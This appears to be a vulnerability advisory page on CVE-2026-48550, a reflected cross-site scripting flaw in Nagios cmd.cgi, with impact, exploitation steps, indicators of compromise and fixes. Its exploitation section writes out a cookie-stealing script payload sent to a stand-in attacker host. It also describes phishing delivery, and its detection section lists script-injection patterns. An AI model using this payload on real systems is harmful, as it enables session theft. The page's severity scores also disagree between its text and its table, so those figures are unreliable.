CVE-2026-48550
Nagios vulnerability analysis and mitigation

Overview

CVE-2026-48550 is a reflected cross-site scripting (XSS) vulnerability in Nagios Core and Nagios XI affecting the cmd.cgi component via the NagFormId parameter. An unauthenticated remote attacker can craft a malicious link that, when clicked by an authenticated Nagios user, executes arbitrary JavaScript in the victim's browser. Affected versions include Nagios Core before 4.5.14 and Nagios XI before 2026R1.7. The vulnerability was published on August 12, 2026, with a CVSS v3.1 base score of 6.1 (Medium) and a CVSS v4.0 base score of 5.1 (Medium) (GitHub Advisory, Feedly).

Technical details

The root cause is improper neutralization of user-controllable input in the NagFormId parameter within cmd.cgi before it is reflected back in the HTTP response (CWE-79). Because the parameter value is not sanitized or encoded before being rendered in the page, an attacker can inject arbitrary HTML/JavaScript that executes in the context of the authenticated user's browser session. The fix was credited to Zach Hanley of Horizon3.ai and was included in Nagios Core 4.5.14, released August 5, 2026, which also addressed related issues in notification macros, jsonquery.js, and CSRF cookie handling (Nagios Changelog, GitHub Advisory).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser of an authenticated Nagios user, enabling session hijacking, credential theft, and unauthorized actions performed on behalf of the victim within the Nagios interface. Because Nagios is typically used to monitor critical infrastructure, a compromised administrator session could allow an attacker to manipulate monitoring configurations, suppress alerts, or pivot to monitored systems. There is no direct impact on availability, but confidentiality and integrity of the subsequent (browser) system are affected at a low level (GitHub Advisory, Feedly).

Exploitability

No public proof-of-concept exploit code has been observed, and there is no evidence of in-the-wild exploitation at this time. The EPSS score is approximately 0.27% (19th percentile), indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires social engineering to trick an authenticated user into clicking a crafted link, making it non-automatable (GitHub Advisory, Feedly).

Exploitation steps

  1. Reconnaissance: Identify internet-facing Nagios Core or Nagios XI instances running versions prior to 4.5.14 or 2026R1.7 respectively, using tools like Shodan or Censys with Nagios-specific banners or login page fingerprints.
  2. Craft malicious URL: Construct a URL targeting the vulnerable cmd.cgi endpoint with a malicious JavaScript payload injected into the NagFormId parameter, e.g., https://target/nagios/cgi-bin/cmd.cgi?NagFormId=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
  3. Deliver the link: Send the crafted URL to an authenticated Nagios user via phishing email, chat message, or other social engineering vector.
  4. Payload execution: When the authenticated user clicks the link, the browser renders the response from cmd.cgi with the unsanitized NagFormId value, executing the injected JavaScript in the user's browser session.
  5. Achieve objective: The attacker captures the victim's session cookie or Nagios credentials, enabling unauthorized access to the Nagios interface with the victim's privileges (Nagios Changelog, GitHub Advisory).

Indicators of compromise

  • Network: HTTP GET or POST requests to /nagios/cgi-bin/cmd.cgi containing URL-encoded script tags or JavaScript event handlers in the NagFormId parameter; outbound requests from user browsers to unexpected external domains shortly after accessing cmd.cgi.
  • Logs: Web server access logs showing requests to cmd.cgi with unusual or encoded values in the NagFormId parameter (e.g., %3Cscript%3E, javascript:, onerror=, onload=); referrer headers pointing to external or unexpected sources.
  • Browser/Session: Unexpected session termination or re-authentication events for Nagios users; Nagios audit logs showing configuration changes or command submissions not initiated by the legitimate user.

Mitigation and workarounds

Upgrade Nagios Core to version 4.5.14 or later, and Nagios XI to version 2026R1.7 or later, which include the fix for reflected XSS in cmd.cgi. As interim mitigations, implement Content Security Policy (CSP) headers to restrict inline script execution, and educate users to avoid clicking unsolicited links pointing to Nagios endpoints. Restricting access to the Nagios web interface to trusted networks or VPN users reduces the attack surface (Nagios Changelog, GitHub Advisory).

Community reactions

The vulnerability was discovered and reported by Zach Hanley of Horizon3.ai, who was credited in the Nagios Core 4.5.14 changelog alongside fixes for several related security issues in the same release. No significant broader community or media commentary has been observed beyond standard vulnerability database entries (Nagios Changelog).

Additional resources


SourceThis report was generated using AI

Related Nagios vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-48554HIGH7.7
  • Nagios logoNagios
  • cpe:2.3:a:nagios:nagios_xi
NoNoAug 12, 2026
CVE-2026-48553HIGH7.7
  • Nagios logoNagios
  • cpe:2.3:a:nagios:nagios_xi
NoNoAug 12, 2026
CVE-2026-48551MEDIUM6.1
  • Nagios logoNagios
  • nagios4
NoNoAug 12, 2026
CVE-2026-48552MEDIUM5.1
  • Nagios logoNagios
  • nagios4
NoNoAug 12, 2026
CVE-2026-48550MEDIUM5.1
  • Nagios logoNagios
  • cpe:2.3:a:nagios:nagios_xi
NoNoAug 12, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management